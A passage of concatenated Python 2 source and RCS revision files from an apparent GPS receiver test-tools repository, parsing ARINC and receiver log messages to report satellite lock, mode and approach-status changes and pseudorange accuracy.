"""Parses the CoPilot 'RAW' log file format"""
f = file(self.fname, 'rt')
# chew up first two lines, which are useless
f.readline()
f.readline()
field_names = f.readline().split(self.SEPARATOR)
MessageVal_index = field_names.index('MessageVal')
ChanNum_index = field_names.index('ChanNum')
assert(MessageVal_index >= 0)
assert(ChanNum_index>=0)
self.line_num = 4
for self.line in f:
fields = self.line.split(self.SEPARATOR)
data = int(fields[MessageVal_index], 16)
arinc_channel = int(fields[ChanNum_index])
if arinc_channel == 1:
self.parse_label(oct(int(data & 0xFF)), int(data >> 8))
f.close()
def parse_label(self, Lbl, Value, timestamp=None):
"""Parses a label using the octal label number, in text, and
the label's data bits, as an integer"""
self.line_num += 1
Lbl = Lbl.lstrip('0')
if not Lbl \
or (self.ids_to_parse and not self.ids_to_parse.has_key(Lbl)):
return
try:
# print '%4s : %06X' % (Lbl, Value)
label = arinc.Label(Lbl, Value, timestamp)
except Exception, err:
if not self.handle_parse_error(err):
return
if not label.BNR_SSM in self.ssms_to_parse:
return
handler_name = 'handle' + label.Lbl
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(label)
self.num_handled += 1
else:
self.handle(label)
def handle(self, label):
"""Default handler to be overridden by derived class: handles all
labels which don't have a handleXXX function. note: do not call
get_parse_ids_from_handlers when using this function (otherwise,
unhandled packets will never be parsed)"""
pass
def handle_parse_error(self, err):
"""Default handler for parsing errors"""
print 'Parse error on line', self.line_num, ':'
print ' ', self.line
raise err
class TestParser(Parser):
"""Test parser for use by __main__ below. It just prints all parseable
labels."""
def handle(self, label):
"""Default handler which prints all parsable labels"""
if arinc.Label.DEFS.has_key(label.Lbl):
print str(label)
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
TestParser().main('ARINC Test Parser', fname)<file_sep>/rcs/lock_changes.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2009.06.18.21.48.38; author Stephen.Vickers; state In_Progress;
branches ;
next 1.2;
1.2
date 2009.05.06.18.40.12; author Stephen.Vickers; state In_Progress;
branches ;
next 1.1;
1.1
date 2009.05.06.16.16.44; author Stephen.Vickers; state In_Progress;
branches ;
next ;
ext
@project Q:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@redone for easier readiblity and adding timestamp@
text
@""" Shows when the lock count is reset """
from xpr_log import Parser
class LockChanges(Parser):
def parse(self, fname):
print 'Parsing lock count resets from', fname
self.chan_lock_count = [-1] * 24 # 24 channels - store lock count
self.prn = [-1] * 24 # 24 channels - store PRN (so this can be used in test mode)
Parser.parse(self, fname)
def handle3A(self, msg):
for stat in msg.channel_stat:
# Index's are zero based, so we subtract off 1
if stat.state & 0x04: # if this SV is tracking
if (stat.prn != self.prn[stat.hardware_channel]):
# GOOD - we are now locked on
print '%s: GOOD - channel %i is now tracking prn %i' % \
(msg.timestamp(), stat.hardware_channel, stat.prn)
self.prn[stat.hardware_channel] = stat.prn
self.chan_lock_count[stat.hardware_channel] = -1;
elif (stat.lock_count > self.chan_lock_count[stat.hardware_channel]):
# Valid data - store it
self.chan_lock_count[stat.hardware_channel] = stat.lock_count
elif (self.prn[stat.hardware_channel] != -1):
if (stat.elevation < 5):
# OK - it's ok to lose lock when elevation less than 5 degrees
print '%s: INFO - lock count for prn %i on channel %i at elevation %i has been reset from %i to %i ' % \
(msg.timestamp(), stat.prn, stat.hardware_channel, stat.elevation, self.chan_lock_count[stat.prn], stat.lock_count)
else:
# BAD - should not have lost lock
print '%s: ERROR - lock count for prn %i on channel %i at elevation %i changed from %i to %i ' % \
(msg.timestamp(), stat.prn, stat.hardware_channel, stat.elevation, self.chan_lock_count[stat.prn], stat.lock_count)
self.prn[stat.hardware_channel] = -1
if __name__ == '__main__':
LockChanges().main('LockChanges')@
1.2
log
@change output order for easier reading@
text
@d9 2
a10 6
self.tmsn = -1 # Set to an ambiguous value - this will tell us which time mark we are dealing with
self.group_number = 0 # Group number allows us to group each set per time mark value
# Similar to time mark but without the modulo 64
self.chan_lock_count = [-1] * 51 # 32 GPS PRN's plus 19 SBAS
# for i in range(0, 38):
# self.chan_lock_count[i] = -1
d12 1
a12 1
a13 3
if msg.time_mark_sequence_number != self.tmsn: # first message or new group
self.tmsn = msg.time_mark_sequence_number
self.group_number += 1 # increment the group number
a15 4
prn = stat.prn - 1
if stat.prn >= 120: # SBAS PRN. Need to create a valid index
prn = stat.prn - 87 - 1
d17 7
a23 1
if (stat.lock_count >= self.chan_lock_count[prn]):
d25 6
a30 6
self.chan_lock_count[prn] = stat.lock_count
elif (stat.elevation > 5.0):
# BAD - should not have lost lock if we're above 5 degrees from the horizon
print '%i: ERROR - lock count for prn %i on channel %i at elevation %i changed from %i to %i ' % \
(self.group_number, stat.prn, stat.hardware_channel, stat.elevation, self.chan_lock_count[prn], stat.lock_count)
self.chan_lock_count[prn] = -1
d32 4
a35 6
# We're at or less than 5 degress and lost lock
if (stat.lock_count > 0):
# Don't print if we haven't lock count is zero
print '%i: INFO - prn %i on channel %i went below the horizon at %i degrees after %i lock' % \
(self.group_number, stat.prn, stat.hardware_channel, stat.elevation, stat.lock_count)
self.chan_lock_count[prn] = -1
@
1.1
log
@Initial revision@
text
@d11 1
d33 2
a34 2
print '%i: ERROR - lock count changed from %i to %i for prn %i on channel %i at elevation %i' % \
(self.group_number, self.chan_lock_count[prn], stat.lock_count, stat.prn, stat.hardware_channel, stat.elevation)
d39 3
a41 3
# Don't print if we haven't lock count is zero, means the satellite is rising
print '%i: PRN %i on channel %i went below the horizon after %i lock' % \
(self.group_number, stat.prn, stat.hardware_channel, stat.lock_count)
@
<file_sep>/rcs/gps_math.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2005.09.08.20.23.42; author AMoroz; state Exp;
branches ;
next ;
ext
@project //oltfs021/COMNAVSW/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@import math
#******************************************************************************
# Function : lla2ecef
# Description : Converts LLA position (latitude, longitude, and altitude) to
# ECEF
# Return Value : 3-element array, containing X, Y, and Z coordinates in meters
# Inputs :
# lat_rad : Latitude in radians
# lon_rad : Longitude in radians
# alt_m : Altitude in meters
#******************************************************************************
def lla2ecef(lat_rad, lon_rad, alt_m):
cl = math.cos(lat_rad)
sl = math.sin(lat_rad)
a2 = 40680631590769.0
b2 = 40408299984087.05552164
n = a2 / math.sqrt(a2 * cl *cl + b2 * sl *sl)
result = []
result = result + [ (n + alt_m) * cl * math.cos(lon_rad) ]
result = result + [ (n + alt_m) * cl * math.sin(lon_rad) ]
result = result + [ (n * b2 / a2 + alt_m) * sl ]
return result
@
<file_sep>/pytools/Other Pytools/svranges.py
""" svranges.py: encapsulates truth data from the GPS signal simulator
(this is a support unit for pracc.py)
"""
__version__ = '$Revision: 1.9 $'
import re
class Svrange:
""" holds a single line of satellite truth data """
def __init__(self, line='', tow=0.0, prn=0, range=0.0, deltarange=0.0):
if line:
fields = line.split()
self.tow = float(fields[0])
self.prn = int(fields[1])
self.range = float(fields[2])
self.deltarange = float(fields[3])
else:
self.tow = tow
self.prn = prn
self.range = range
self.deltarange = deltarange
def __str__(self):
return '%0.1f %i %0.4f %0.4f 0.0 0.0' % \
(self.tow, self.prn, self.range, self.deltarange)
class SvrangeList(list):
""" holds a list of satellite truth data """
verbose = True
def __init__(self, svrange=None):
self.delta_t = 1.0
if svrange is not None:
self.append(svrange)
def get_delta_t(self):
self.delta_t = self[1].tow - self[0].tow
assert(self.delta_t > 0.0)
def read(self, fname):
if self.verbose: print 'Reading', fname, '...',
f = open(fname)
for line in f:
self.append(Svrange(line))
if self.verbose: print 'done.'
f.close()
self.get_delta_t()
def write(self, fname=''):
if not fname:
fname = '_svrange_' + str(self[0].prn) + '.txt'
if self.verbose: print 'Writing', fname, '...',
f = open(fname, 'wt')
for svrange in self:
print >> f, str(svrange)
if self.verbose: print 'done.'
f.close()
def get_tow_index(self, tow):
index = int(round((tow - self[0].tow) / self.delta_t))
if index < 0 or index >= len(self):
index = 0
return index
class Svranges(dict):
""" holds a collection of satellite truth data organized in a dictionary, keyed by PRN """
prn_re = re.compile('svrange_(\d+).txt')
def __init__(self, fname='sat_data_V1A1.csv'):
if fname:
self.read(fname)
def read(self, fname):
try:
f = open(fname)
except IOError:
print 'Cannot open %s for reading' % (fname, )
self.read_prn_files()
return
print 'Reading svdata file', fname, '...',
# get starting second from first line
line = f.readline()
start_sec = float(line.split(',')[1])
# get field names from second line
field_names = f.readline().split(',')
field_index = {}
for ii in xrange(len(field_names)):
field_index[field_names[ii]] = ii
# get indices of selected fields from field names
Time_ms_index = field_index['Time_ms']
Sat_PRN_index = field_index['Sat_PRN']
Range_index = field_index['Range']
P_R_rate_index = field_index['P-R_rate']
# get svdata
for line in f:
fields = line.split(',')
# get selected field values
try:
prn = int(fields[Sat_PRN_index])
if not prn:
continue
Time_ms = float(fields[Time_ms_index])
Range = float(fields[Range_index])
P_R_rate = float(fields[P_R_rate_index])
except IndexError:
print 'Debugging info:'
print field_index
print line
for i in xrange(len(fields)):
print '[', i, fields[i], ']'
raise
# create an Svrange object for the measurement
tow_sec = start_sec + Time_ms / 1000.0
tow_sec %= (3600.0 * 24 * 7)
svrange = Svrange('', tow_sec, prn, Range, P_R_rate)
# add the measurement to self[prn]
try:
self[prn].append(svrange)
except KeyError:
self[prn] = SvrangeList(svrange)
f.close()
for prn in self:
self[prn].get_delta_t()
print 'done.'
def write(self):
for prn in self:
self[prn].write()
def read_prn_files(self):
print 'Reading individual svrange files'
import glob
for fname in glob.glob('svrange_*.txt'):
m = self.prn_re.search(fname)
if m:
prn = int(m.group(1))
self[prn] = SvrangeList()
self[prn].read(fname)
def __str__(self):
return str([(key, len(self[key]), self[key].delta_t) for key in self.keys()])
def read(fname='sat_data_V1A1.csv'):
import os.path, cPickle
pik_fname = os.path.splitext(fname)[0] + '.pik'
use_pickle = False
try:
if os.path.getmtime(pik_fname) > os.path.getmtime(fname) and \
os.path.getsize(pik_fname) > 10000000: # 10M
use_pickle = True
except OSError:
pass
if use_pickle:
f = open(pik_fname, 'rb')
print 'Unpickling svranges from', pik_fname
svranges = cPickle.Unpickler(f).load()
else:
f = open(pik_fname, 'wb')
svranges = Svranges(fname)
print 'Pickling svranges to', pik_fname
cPickle.Pickler(f, -1).dump(svranges)
f.close()
return svranges
if __name__ == '__main__':
svranges = read()
print svranges
svranges.write()
print
print "Delete the pickle file after running this test to avoid:"
print " AttributeError: 'module' object has no attribute 'Svranges'"<file_sep>/pytools/Other Pytools/truth_sv_pos.py
import sys
from truth_log import Parser
class SvPositionParser(Parser):
def __init__(self, fname, prns):
self.prns = [int(prn) for prn in prns]
Parser.__init__(self, fname)
def handle(self, td):
# print td
if not self.prns or (td['sat_prn'] in self.prns):
print td.tow,
for name in ('sat_prn', 'sat_pos_x', 'sat_pos_y', 'sat_pos_z'):
print td[name],
print
if __name__ == '__main__':
p = SvPositionParser(sys.argv[1], sys.argv[2:])
p.parse()<file_sep>/DataList.py
""" Class meant to process .gps files, parse .txt files, and """
""" handle the files that record that these processes have been """
""" preformed. """
import subprocess # For running GPSBin2Txt. Takes gps files and generates txt files.
from sys import argv
import os
class DataList:
def __init__( self ):
""" Check if the folders and sorted files exists. """
""" If not, then create them. """
currentPath = "ProcessedFiles"
if not os.path.exists( currentPath ):
print( "Creating ProcessedFiles folder." )
os.makedirs( currentPath )
def locatePath( self, currentPath, server, year, day, fileName ):
""" Check if the path already exists in a specific folder """
""" for a specific day. If found, return true. Else false. """
writeToThisFile = os.path.join( "ProcessedFiles", server, year + "_" + day + "_" + fileName )
folder = os.path.join( "ProcessedFiles", server )
if( os.path.exists( writeToThisFile ) == False ):
return False
try:
filePath = open( writeToThisFile, 'r+' )
for line in filePath:
if( line.rstrip( '\n' ) == currentPath ):
return True
return False
except:
print( "Error opening %s. (DataList.locatePath)\n" % writeToThisFile )
return False
return False
def createPath( self, currentPath, server, year, day, fileName ):
""" If server folder and day file do not exist, go ahead and create both. """
writeToThisFile = os.path.join( "ProcessedFiles", server, year + "_" + day + "_" + fileName )
folder = os.path.join( "ProcessedFiles", server )
if( os.path.exists( folder ) == False):
try:
print( "Creating Server %s directory." % server )
os.mkdir( folder )
except:
print( "Error creating %s directory. (DataList.createPath)\n" % server )
if( os.path.exists( writeToThisFile ) == False ):
try:
open( writeToThisFile, 'w' )
except:
print( "Error creating day file %s. (DataList.createPath)\n" % writeToThisFile )
def appendPath( self, currentPath, server, year, day, fileName ):
""" Write path to the file intended. """
writeToThisFile = os.path.join( "ProcessedFiles", server, year + "_" + day + "_" + fileName )
try:
filePath = open( writeToThisFile, 'a+' )
filePath.write( currentPath + '\n' )
filePath.close()
return
except:
print( "Error opening %s. (DataList.appendPath)" % writeToThisFile )
return
def processGPSFile( self, program, currentPath ):
""" Create .txt file from a given gps file... using """
""" GPSBin2Txt.exe """
FNULL = open(os.devnull, 'w')
args = program + " " + currentPath
subprocess.call( args, stdout=FNULL, stderr=FNULL, shell=False )
<file_sep>/pytools/Other Pytools/pracc_arinc_parser.py
import time
import pracc_data
from arinc_concat_parser import Parser as ArincParser
from pracc_data import PseudorangeAccuracyData as PraccData
class Measurement:
"""Represents a single measurement"""
def __init__(self, timestamp):
self.timestamp = timestamp
self.prn = None
self.utc_tm = None
self.tow = None
self.cn0 = None
self.pr = None
self.pr_sigma = None
def __str__(self):
return 'PRN=%2d TOW=%0.3f CN0=%2d PR=%0.1f Sigma=%0.1f' % \
(self.prn, self.tow, self.cn0, self.pr,
self.pr_sigma)
class MeasurementArincParser(ArincParser):
""" ARINC parser that aggregates measurement-related labels into complete
measurements."""
def __init__(self):
ArincParser.__init__(self)
self.measurement = Measurement(0)
self.utc_tm = None
def handle57(self, label):
# print dir(label)
self.measurement.pr_sigma = label.UserRangeAccuracy
def handle60(self, label):
if label.UserClockUpdate:
self.handle_UserClockUpdate()
# Label 60 is the first of the measurment sequence:
# flush the measurement from the prior sequence, if any
if self.measurement.prn:
self.handle_measurement()
# create a new measurement for the current sequence
self.measurement = Measurement(self.line_num)
# write values from this label to the new measurement
self.measurement.cn0 = label.CN0
self.measurement.prn = label.SVID
# print label
def handle74(self, label):
# print label
if self.utc_tm is None:
return
self.measurement.meas_time = label.UTCMeasurementTime
self.measurement.utc_tm = self.utc_tm
self.measurement.tow = self.get_tow()
# print 'TOW =', self.measurement.tow
def handle_pseudorange(self, pseudorange):
self.measurement.pr = pseudorange
# print 'pseudorange = ', pseudorange
def handle_UserClockUpdate(self):
print 'UserClockUpdate on line', self.line_num
def handle_utc(self, tm):
self.utc_tm = tm
def get_tow(self):
""" Calculate the current TOW using the UTC time stored in self.utc_tm
"""
# extract all other TOW elements from self.utc_tm (including
# full-precision seconds)
utc_tm = time.localtime(self.utc_tm)
(tm_hour, tm_min, tm_sec) = (utc_tm[3], utc_tm[4],
utc_tm[5])
# convert between Python's two time representations to calculate
# tm_wday. note that this truncates seconds
tm = list(utc_tm)
tm[5] = int(tm[5]) # convert full-precision seconds to integer
tm = time.localtime(time.mktime(tm))
#print 'TOW =', time.strftime("%a, %d %b %Y %H:%M:%S", tm)
tm_wday = (tm[6] + 1) % 7 # adjust for GPS start-of-week
# calculate and return TOW
return ((tm_wday * 24.0 + tm_hour) * 60.0 + tm_min) * 60.0 + tm_sec
class PraccArincParser(PraccData, MeasurementArincParser):
"""ARINC parser for pseudo-range accuracy testing."""
def __init__(self):
PraccData.__init__(self)
self.test_accuracy = self.use_sbas = True
MeasurementArincParser.__init__(self)
self.tow = None
def handle_measurement(self):
m = self.measurement
if m.prn is None or m.tow is None or m.pr is None or m.pr_sigma is None:
return # invalid measurement
if m.tow < self.min_measurement_tow:
return # waiting for min TOW
if self.max_tow is not None and m.tow > self.max_tow:
return # beyond max TOW
self.add_svdata(m.timestamp, m.prn, m.tow, m.pr, m.pr_sigma)
if m.tow != self.tow:
self.cbiases.append(pracc_data.ClockBias(m.tow, 0.0)) # actual clock bias is built into measurements
self.tow = m.tow
def at_main_end(self):
self.dump()
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
PraccArincParser().main('ArincPraccParser Test', fname)
<file_sep>/pytools/Other Pytools/code_adj.py
"""Extracts the code loop adjustments in packet 0x54 from one or more log files"""
from mode_changes import ModeChanges as Parser
class CodePhaseAdjustment(Parser):
def __init__(self):
Parser.__init__(self)
self.data = {}
self.tow = 0.0
self.tow_data = {}
def main(self, title):
Parser.main(self, title)
ch_nos = self.data.keys()
ch_nos.sort(lambda x, y: cmp(len(self.data[x]), len(self.data[y])))
for ch_no in ch_nos:
fname = 'ch' + str(ch_no)
print 'Writing', len(self.data[ch_no]), 'points to', fname, '...',
f = open(fname, 'wt')
for msg in self.data[ch_no]:
print >> f, '%7i %i %8i %f %f %f %i' % \
(msg.tick_ms, msg.locked, msg.adjustment, msg.error / 1000000.0)
## print >> f, '%0.1f %f' % (msg.tow, msg.error / 1000000.0)
## msg.gain, msg.threshold, msg.costas_lock_ind)
# print >> f, '%8i %3i' % (msg.adjustment, msg.error)
f.close()
print 'done.'
filtered_avg_error = None
f = open('ch_all', 'wt')
tows = self.tow_data.keys()
tows.sort()
for tow in tows:
sum = 0.0
for msg in self.tow_data[tow]:
sum += abs(msg.error)
avg_error = (sum / len(self.tow_data[tow])) / 1000000.0
if filtered_avg_error is None:
filtered_avg_error = avg_error
else:
filtered_avg_error += (avg_error - filtered_avg_error) * 0.01
print >> f, '%0.1f %f %f' % (tow, avg_error, filtered_avg_error)
f.close()
def handle32(self, msg):
self.tow = msg.gps_tow
def handle54(self, msg):
msg.tow = self.tow
if (not self.data.has_key(msg.ch_no)):
self.data[msg.ch_no] = []
self.data[msg.ch_no].append(msg)
try:
self.tow_data[self.tow].append(msg)
except KeyError:
self.tow_data[self.tow] = [msg]
if __name__ == '__main__':
CodePhaseAdjustment().main('Code Phase Adjustment')<file_sep>/pytools/Other Pytools/channel_changes.py
""" Shows version changes and mode changes """
from version_changes import VersionChanges as Parser
class ModeChanges(Parser):
def __init__(self):
Parser.__init__(self)
self.last_mode = None
self.last_mode_second = 0
self.last_validity = None
self.last_gps_tow = -1.0
self.num_tow_reports = 0
self.last_num_visible = -1
self.last_channel_is_valid = None
self.last_channel = 0
self.last_utc = None
self.last_dev_validity = None
self.last_Active_Approach_Service_Type = None
self.last_GBASD_validity = None
self.last_Selected_Approach_Service_Type = None
self.last_protection_level_source = None
self.last_bias_approach_monitor_status = None
self.last_precision_approach_region = None
self.last_gbas_distance_status = None
self.last_vertical_guidance_region_status = None
self.last_type_1_message_latency = None
self.last_type_1_message_time_out = None
self.last_gls_vertical_performance_alert = None
self.last_gls_lateral_performance_alert = None
self.last_approach_performance_designator = None
self.last_above_threshold_crossing_height = None
self.last_approach_monitor = None
self.last_vertical_approach_status = None
self.last_lateral_approach_status = None
self.last_gbas_distance_status = 0
def handle31(self, msg):
delta_seconds = 0
if msg.mode != self.last_mode:
print '%s TOW %10.4f UTC %s\t%-30s %-30s' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Mode changed', msg.mode)
self.last_mode = msg.mode
self.last_mode_second = self.last_gps_tow
# if msg.number_of_visible_satellites != self.last_num_visible:
# self.last_num_visible = msg.number_of_visible_satellites
# if self.last_num_visible == 0:
# print '%s TOW %10.4f UTC %s\t%-30s' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, '0 satellites visible')
# else:
# print '%s TOW %10.4f UTC %s\t%-30s %d' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, 'Visible SV update', msg.number_of_visible_satellites)
def handle32(self, msg):
if self.last_validity != msg.validity:
if not (self.last_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%02X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'PVT validity changed', msg.validity)
self.last_validity = msg.validity
if self.last_gps_tow == msg.gps_tow:
if self.num_tow_reports < 10:
print '%s TOW %10.4f UTC %s\tTOW did not change or went backwards ' % (msg.timestamp(), self.last_gps_tow, self.last_utc)
self.num_tow_reports += 1
else:
self.num_tow_reports = 0
self.last_gps_tow = msg.gps_tow
self.last_utc = '%02d:%02d:%06.3f' % (msg.hour, msg.minute, msg.second)
def handle35(self, msg):
if msg.gls_channel_number != self.last_channel:
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Channel changed', msg.gls_channel_number )
self.last_channel = msg.gls_channel_number
if self.last_dev_validity != msg.validity:
if not (self.last_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%03X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Deviation validity changed', msg.validity)
self.last_dev_validity = msg.validity
def handle36(self, msg):
if msg.protection_level_source != self.last_protection_level_source:
if not (self.last_protection_level_source is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Protection level Source changed', msg.protection_level_source)
self.last_protection_level_source = msg.protection_level_source
if msg.bias_approach_monitor_status != self.last_bias_approach_monitor_status:
if not (self.last_bias_approach_monitor_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'BAM status changed', msg.bias_approach_monitor_status)
self.last_bias_approach_monitor_status = msg.bias_approach_monitor_status
if msg.precision_approach_region != self.last_precision_approach_region:
if not (self.last_precision_approach_region is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'PAR status changed', msg.precision_approach_region)
self.last_precision_approach_region = msg.precision_approach_region
if self.last_gbas_distance_status != msg.gbas_distance_status:
if not (self.last_gbas_distance_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'GBAS Distance Status changed', msg.gbas_distance_status )
self.last_gbas_distance_status = msg.gbas_distance_status
if self.last_vertical_guidance_region_status != msg.vertical_guidance_region_status:
if not (self.last_vertical_guidance_region_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'VGR Status changed', msg.vertical_guidance_region_status )
self.last_vertical_guidance_region_status = msg.vertical_guidance_region_status
if self.last_type_1_message_latency != msg.type_1_message_latency:
if not (self.last_type_1_message_latency is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'T1 Message Latency status changed', msg.type_1_message_latency )
self.last_type_1_message_latency = msg.type_1_message_latency
if self.last_type_1_message_time_out != msg.type_1_message_time_out:
if not (self.last_type_1_message_time_out is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'T1 Message Timeout status changed', msg.type_1_message_time_out )
self.last_type_1_message_time_out = msg.type_1_message_time_out
if self.last_gls_vertical_performance_alert != msg.gls_vertical_performance_alert:
if not (self.last_gls_vertical_performance_alert is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Vertical Performance Alert status changed', msg.gls_vertical_performance_alert )
self.last_gls_vertical_performance_alert = msg.gls_vertical_performance_alert
if self.last_gls_lateral_performance_alert != msg.gls_lateral_performance_alert:
if not (self.last_gls_lateral_performance_alert is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Lateral Performance Alert status changed', msg.gls_lateral_performance_alert )
self.last_gls_lateral_performance_alert = msg.gls_lateral_performance_alert
if self.last_above_threshold_crossing_height != msg.above_threshold_crossing_height:
if not (self.last_above_threshold_crossing_height is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Above TCH status changed', msg.above_threshold_crossing_height )
self.last_above_threshold_crossing_height = msg.above_threshold_crossing_height
if self.last_approach_performance_designator != msg.approach_performance_designator:
if not (self.last_approach_performance_designator is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Approach Performance Designator changed', msg.approach_performance_designator )
self.last_approach_performance_designator = msg.approach_performance_designator
if self.last_approach_monitor != msg.approach_monitor:
if not (self.last_approach_monitor is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Approach Monitor Status changed', msg.approach_monitor )
self.last_approach_monitor = msg.approach_monitor
if self.last_vertical_approach_status != msg.vertical_approach_status:
if not (self.last_vertical_approach_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Vertical Approach Status changed', msg.vertical_approach_status )
self.last_vertical_approach_status = msg.vertical_approach_status
if self.last_lateral_approach_status != msg.lateral_approach_status:
if not (self.last_lateral_approach_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Lateral Approach Status changed', msg.lateral_approach_status )
self.last_lateral_approach_status = msg.lateral_approach_status
if self.last_gbas_distance_status != msg.gbas_distance_status:
if not (self.gbas_distance_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'GBAS Distance Status changed', msg.gbas_distance_status )
self.last_gbas_distance_status = msg.gbas_distance_status
def handle5F(self, msg):
if msg.Selected_Approach_Service_Type!= self.last_Selected_Approach_Service_Type:
if not (self.last_Selected_Approach_Service_Type is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'AST selection changed', msg.Selected_Approach_Service_Type )
self.last_Selected_Approach_Service_Type = msg.Selected_Approach_Service_Type
if self.last_GBASD_validity != msg.validity:
if not (self.last_GBASD_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%03X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Validity GBASD data changed', msg.validity)
self.last_GBASD_validity = msg.validity
if self.last_Active_Approach_Service_Type != msg.Active_Approach_Service_Type:
if not (self.last_Active_Approach_Service_Type is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Active AST changed', msg.Active_Approach_Service_Type )
self.last_Active_Approach_Service_Type = msg.Active_Approach_Service_Type
# def handle49(self, msg):
# print '%s TOW %10.4f UTC %s\t%-30s %i %5i' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, 'Tune commnad received ', msg.channel_number, msg.channel_selected )
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
if __name__ == '__main__':
ModeChanges().main('Mode Changes')<file_sep>/rcs/lat_lon.py
head 1.1;
branch ;
access ;
symbols ;
locks ; strict;
comment @@;
1.1
date 2004.12.01.15.40.09; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project \\oltfs021\comnavsw/tools/GPS_Host/pytools/pytools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@"""Extracts the latitude and longitude from one or more log files"""
from mode_changes import ModeChanges as Parser
class LatLon(Parser):
def __init__(self):
Parser.__init__(self)
self.out_f = open('lat_lon.txt', 'w')
def handle32(self, msg):
print >> self.out_f, '%-14s %-14s %s' %\
(msg.latitude, msg.longitude, msg.get_sequence_number())
if __name__ == '__main__':
LatLon().main('LatLon')
@
<file_sep>/pytools/Other Pytools/arinc_concat_parser.py
""" arinc_concat_parser.py: This module provides a framework to process ARINC
log files, simiilar to arinc_log.py. However, it automatically concatenates
sets of related labels into aggregate objects which can be handled as a unit.
Copyright 2007, Honeywell International Inc.
Usage is similar to arinc_log.py. To handle concatenated data, override one
of the handlers at bottom.
"""
__version__ = '$Revision: 1.8 $'
import time
from arinc_log import Parser as BaseParser
from arinc import GPS_PI, utc2tow
class Parser(BaseParser):
""" ARINC concatenation parser """
# the following are ids of labels that don't have handlers but need to be
# concatenated
concat_ids = (
61, # pseudorange
60, 65, 66, 70, 71, 72, # SV status and position
110, 111, 120, # GNSS position
140, 141, 260 # UTC
)
def __init__(self):
BaseParser.__init__(self)
self.labels = {}
def __call__(self, num):
""" Returns the given label number (in octal, expressed as if it were
decimal: 0123 octal = 123 decimal) and deletes the label from the
dictionary of known labels """
label = self.labels[num]
del self.labels[num]
return label
def get_parse_ids_from_handlers(self):
BaseParser.get_parse_ids_from_handlers(self)
# add concat_ids to the list of ids to be parsed (by default handler
# below)
for id in self.concat_ids:
self.ids_to_parse[str(id)] = True
# print 'ids to parse:', self.ids_to_parse.keys()
#-----------------------------------------------------------
# handlers and related support functions
def handle(self, label):
""" Adds the label to self.labels for later use by another handler. """
# print 'Storing label', label
self.labels[int(label.Lbl)] = label
def concat(self, coarse_id, coarse_upper, coarse_lower,
fine_id, fine_upper, fine_lower, scale):
""" Returns the composite value of the specified upper/lower bit number
of the specified labels """
coarse_label = self(coarse_id)
coarse = long(coarse_label(coarse_upper, coarse_lower))
fine_label = self(fine_id)
fine = long(fine_label(fine_upper, fine_lower))
value = (coarse << (fine_upper - fine_lower + 1)) | fine
if coarse_label(29):
# adjust for negative
value -= 1L << ( (coarse_upper - coarse_lower) \
+ (fine_upper - fine_lower) + 2)
value *= scale
# print coarse_label, fine_label
return value
def handle62(self, label):
self.handle(label)
""" Handles pseudorange labels: 61/62 """
try:
